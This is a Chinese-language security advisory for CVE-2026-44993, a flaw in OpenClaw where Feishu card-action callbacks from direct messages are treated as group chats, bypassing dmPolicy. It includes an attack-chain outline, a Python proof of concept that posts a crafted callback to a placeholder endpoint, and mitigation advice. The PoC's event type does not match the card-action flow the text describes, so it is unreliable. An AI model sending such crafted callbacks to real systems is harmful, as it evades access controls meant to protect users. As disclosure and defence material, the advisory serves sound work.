IPBUF安全漏洞报告
English
CVE-2026-44993 CVSS 5.4 中危

CVE-2026-44993 OpenClaw消息分类绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-44993
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限绕过OpenClaw逻辑漏洞CVE-2026-44993飞书

漏洞概述

OpenClaw 在 2026.4.20 版本之前存在严重的消息分类逻辑漏洞。该问题出现在飞书卡片动作回调的处理机制中,系统错误地将直接消息识别为群组会话。攻击者可利用此缺陷绕过旨在限制直接消息的 dmPolicy 策略,在理应被阻断的私聊会话中触发特定的卡片动作流程。这一漏洞破坏了应用的访问控制边界,允许低权限攻击者执行未授权的操作,对系统数据的机密性和完整性造成潜在威胁。

技术细节

该漏洞的核心在于 OpenClaw 对飞书平台回调事件上下文类型的判断逻辑存在偏差。当应用接收到卡片交互回调时,需要根据消息来源(单聊或群聊)应用不同的安全策略。在受影响版本中,解析器未能准确提取或验证标识会话类型的字段,导致私聊上下文被误判为群聊上下文。具体而言,攻击者通过构造特定的卡片交互请求,向 OpenClaw 的 callback 接口发送数据。由于分类错误,系统跳过了针对私聊场景的 dmPolicy 校验流程。这使得原本在私聊中被禁止的危险操作(如特定的命令执行或信息泄露接口)得以被调用。利用该漏洞无需用户交互,仅需网络可达性即可触发,属于典型的逻辑设计缺陷,反映了系统在处理多态消息类型时缺乏严格的状态验证机制。

攻击链分析

STEP 1
信息收集
攻击者识别出目标系统使用的是存在漏洞的 OpenClaw 版本(2026.4.20之前)。
STEP 2
构造请求
攻击者在飞书单聊环境中向机器人发送卡片交互请求,准备触发回调接口。
STEP 3
发送Payload
攻击者利用低权限账户发送包含恶意意图的卡片动作数据包。
STEP 4
逻辑绕过
OpenClaw 接收到回调后,由于分类漏洞,错误地将单聊上下文识别为群聊上下文,从而跳过了 dmPolicy 的安全校验。
STEP 5
执行操作
系统执行了本应在私聊中禁止的卡片动作流程,导致安全策略失效。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: OpenClaw Direct Message Misclassification PoC # Description: Demonstrates bypassing dmPolicy by sending a card action # that the system misclassifies as a group conversation. def exploit(target_url, token): headers = { "Content-Type": "application/json" } # Simulated callback payload for a Feishu card action # The vulnerability relies on the server mishandling the chat_type context. payload = { "schema": "2.0", "header": { "event_id": "ev_poc_123", "event_type": "im.message.receive_v1", "create_time": "1620000000000", "token": token, "app_id": "cli_a1b2c3d4" }, "event": { "tenant_key": "test_tenant", "app_id": "cli_a1b2c3d4", "message": { # In a vulnerable system, this direct message context is ignored # or treated as a group chat context, bypassing dmPolicy. "chat_type": "dm", "msg_type": "interactive", "content": "{\"type\":\"card\",\"data\":{\"action\":\"bypass_me\"}}" } } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] PoC sent successfully. Check if policy was bypassed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target endpoint target = "https://openclaw-target.example.com/api/callback" verify_token = "your_verification_token" exploit(target, verify_token)

影响范围

OpenClaw < 2026.4.20

防御指南

临时缓解措施
在升级修复前,建议管理员暂时禁用飞书卡片动作回调功能,或在应用网关层增加额外的上下文校验规则,强制拦截来源为私聊且包含敏感操作指令的请求,以降低被利用的风险。

参考链接